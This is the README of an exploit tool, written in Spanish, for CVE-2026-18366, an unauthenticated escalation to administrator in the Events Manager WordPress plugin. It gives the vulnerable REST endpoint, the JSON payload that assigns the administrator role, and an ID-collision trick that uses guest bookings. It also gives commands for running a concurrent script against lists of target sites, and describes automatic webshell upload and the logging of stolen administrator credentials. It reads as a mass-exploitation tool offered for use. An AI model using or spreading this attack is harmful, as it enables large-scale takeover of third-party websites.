CVE-2026-18366

Events Manager < 7.4.1 - Escalada de Privilegios No Autenticada a Administrador

---

---

📋 Resumen de la Vulnerabilidad

Atributo	Detalles
CVE ID	CVE-2026-18366
Gravedad	🔴 CRÍTICA (CVSS 9.8)
Plugin	Events Manager para WordPress
Versiones Afectadas	< 7.4.1
Tipo de Vulnerabilidad	Escalada de Privilegios No Autenticada
Vector de Ataque	Red
Autenticación Requerida	Ninguna

---

🔍 Descripción Técnica

Análisis de la Causa Raíz

La vulnerabilidad existe en EM\Archetypes::map_meta_cap dentro de classes/em-archetypes.php. El plugin define incorrectamente el alcance de su mapeo de capacidades al:

1. Tratar CUALQUIER ID de objeto como un ID de post
2. Si el post es un CPT event o location, vacía $caps = []
3. Nunca rellena las capacidades para edit_user, delete_user o promote_user
4. Capacidades vacías → has_cap() devuelve true, incluso para el usuario 0 (invitado)

Vector de Ataque

POST|PUT|PATCH  /wp-json/wp/v2/users/{id}
POST            /index.php?rest_route=/wp/v2/users/{id}

Body: {"password":"...","roles":["administrator"]}

Condición: {id} debe ser igual a wp_posts.ID de un CPT de evento o ubicación.

⚠️ La REST no autenticada no requiere un nonce (sin cookie de sesión).

Explotación de Reservas de Invitados

Las reservas de invitados (dbem_bookings_anonymous=1 por defecto) crean usuarios reales de WP, lo que permite forzar colisiones. El nonce de reserva está disponible públicamente en los formularios de eventos.

---

🚀 Uso

Requisitos

pip install aiohttp

Inicio Rápido

python CVE-2026-18366.py

El script solicitará:

• list → Ruta al archivo de lista de objetivos (por defecto: list.txt)
• speed → Trabajadores concurrentes (por defecto: 10)

Opciones de Línea de Comandos

python CVE-2026-18366.py -l targets.txt -s 20 --timeout 30

Opción	Descripción
-l, --list	Ruta al archivo que contiene las URLs objetivo
-s, --speed	Número de trabajadores concurrentes (1-200)
--timeout	Tiempo de espera de la solicitud en segundos (por defecto: 20)

Formato de la Lista de Objetivos

Crea un archivo list.txt con un objetivo por línea:

https://target1.com
https://target2.com/wordpress
http://target3.com
target4.com

---

📊 Salida

Salida de Consola

[+] [HH:MM:SS] target.com  ADMIN  username:password  uid=X  path
[+] [HH:MM:SS] target.com  SHELL  https://target.com/wp-content/plugins/...

Archivo de Resultados

Los compromisos exitosos se guardan en adminS.txt:

https://target.com | username:Nx_admin_@!KSA | uid=X | path=id-collision | ADMIN | shell_url

---

🔄 Flujo de Explotación

┌─────────────────────────────────────────────────────────────────┐
│                    CVE-2026-18366 Flow                          │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  ┌──────────┐    ┌─────────────┐    ┌──────────────────────┐   │
│  │  Detect  │ →  │ Collect IDs │ →  │  PATH A: ID Brute    │   │
│  │  Plugin  │    │  (CPT/HTML) │    │  REST /users/{id}    │   │
│  └──────────┘    └─────────────┘    └──────────┬───────────┘   │
│                                                 │               │
│                                          ┌──────▼──────┐        │
│                                          │   Success?  │        │
│                                          └──────┬──────┘        │
│                                       No │      │ Yes           │
│                               ┌──────────▼──────▼──────────┐    │
│                               │                            │    │
│  ┌──────────────────────┐     │    ┌─────────────────┐     │    │
│  │  PATH B: Guest Book  │ ←───┘    │  Login + Verify │     │    │
│  │  Create user until   │          │  Admin Access   │     │    │
│  │  user_id == post_id  │          └────────┬────────┘     │    │
│  └──────────────────────┘                   │              │    │
│                                    ┌────────▼────────┐     │    │
│                                    │  Upload Shell   │     │    │
│                                    │  (Plugin/Theme) │     │    │
│                                    └────────┬────────┘     │    │
│                                             │              │    │
│                                    ┌────────▼────────┐     │    │
│                                    │   Save Results  │     │    │
│                                    │   adminS.txt    │     │    │
│                                    └─────────────────┘     │    │
│                                                            │    │
└────────────────────────────────────────────────────────────────┘

---

⚙️ Características

• Arquitectura Asíncrona → Escaneo concurrente de alto rendimiento
• Rutas de Ataque Duales → Colisión de ID + Explotación de reservas de invitados
• Subida Automática de Shell → Despliegue de webshell en Plugin/Tema
• Detección de Versión → Identificación automática de versiones vulnerables
• Enumeración Inteligente de Usuarios → Múltiples técnicas de enumeración
• Verificación de Inicio de Sesión → Validación mediante cookie + XML-RPC
• Escalada de Privilegios → Promoción automática a administrador

---

📁 Estructura de Archivos

├── CVE-2026-18366.py    # Main exploit script
├── list.txt             # Target URLs (create this)
├── adminS.txt           # Successful results (auto-created)
└── README.md            # This documentation

---

⚠️ Aviso Legal